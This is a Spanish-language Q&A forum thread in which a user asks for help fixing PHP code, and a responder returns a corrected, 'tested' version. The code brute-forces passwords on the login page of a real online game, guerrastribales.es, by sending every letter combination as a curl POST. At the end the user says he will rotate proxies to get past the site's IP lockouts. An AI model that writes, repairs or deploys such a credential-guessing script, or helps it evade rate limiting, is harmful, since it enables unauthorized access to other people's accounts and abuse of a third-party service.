Tengo un problema en mi programa en PHP y al solucionarlo me saltó otro error

Pues eso que arregle el error en la linea 58 quitando el ; como tu dijiste, pero ahora el error esta en la linea 81, que puedes ser, la linea 81 parece si no me equivoco que es la antepenúltima, la que pone ensayar($algo);, he probado también quitándole le ; pero sigue dando error en la linea 81, ¿qué puedo hacer para arreglarlo?, de nuevo muchas gracias por tu tiempo kiwisoft, saludos de tu admirador je je
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
    $asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
    if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
        extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
                        'user'=>urlencode("(xxxxxx)"),
                        'clear'=>urlencode(true),
                        'password'=>urlencode($password),
                        'server_select'=>urlencode("es1"),
                        'es1'=>urlencode($es1),
                        'cookie'=>urlencode(true)
                );
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
print_r($result);
//close connection
curl_close($ch);
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
loguear($paltmp,$url = 'http://www.guerrastribales.es/index.php?action=login');
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>

1 respuesta

Respuesta
1
El error te daba en la ultima linea porque se te había olvidado cerrar una comilla.
Te adjunto código arreglado y probado.
Por cierto, tal y como te indiqué, veras que te aparece el mensaje "Demasiados intentos fallidos. Inténtalo de nuevo más tarde.", así que paciencia.
Ejecuta este código:
<?php
    set_time_limit(0);
    function cargar($palabra) {
        global $longitud;
        global $posibles;
        global $asignar;
        $longitud = strlen($palabra);
        $asignar  = array();
        $posibles = range(a,z);
        for($i=0;$i<$longitud;$i++){
            $asignar[$i]=$posibles;
        }
    }
    function paltmp(){
        global $longitud;
        global $posibles;
        global $asignar;
        for($i=0;$i<$longitud;$i++) {
            if(count($asignar[$i])==count($posibles)) {
                return 0;
            }
        }
        return 1;
    }
    function loguear($password) {
        $url = 'http://www.guerrastribales.es/index.php?action=login';
        $fields = array( 'user'     => urlencode("(xxxxxx)"),
                         'clear'    => urlencode("true"),
                         'password' => urlencode($password),
                         'server'   => urlencode("es1"),
                         'cookie'   => urlencode("false") );
        foreach($fields as $key=>$value) {
            $fields_string .= $key.'='.$value.'&';
        }
        rtrim($fields_string,'&');
        //open connection
        $ch = curl_init();
        //set the url, number of POST vars, POST data
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_POST,count($fields));
        curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
        //execute post
        $result = curl_exec($ch);
        print_r($result);
        //close connection
        curl_close($ch);
    }
    function ensayar($palabra) {
        global $longitud;
        global $posibles;
        global $asignar;
        for($i=0;$i<$longitud;$i++) {
            if(count($asignar[$i])!=count($posibles))
                continue;
            for($j=0;$j<count($posibles);$j++) {
                $asignar[$i]=$posibles[$j];
                if(paltmp()>0){
                    $paltmp=implode('',$asignar);
                    echo "
<hr>
";
                    echo "[USER]: $paltmp";
                    echo "
</hr>
";
                    loguear($paltmp);
                }
                ensayar($palabra);
            }
            $asignar[$i]=$posibles;return;
        }
    }
    $algo='papa';
    cargar($algo);
    ensayar($algo);
?>
Okis ahora lo pruebo a ver que tal, en fin si funciona va a ser la leche, porque voy a hacer la prueba a través de proxys y en cuanto me bloquee una ip cambio de proxy por lo tanto de ip así que podre sacar mi contraseña por fin, esperar 2 meses y medio más sería demasiado, muchas gracias, en serio.

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas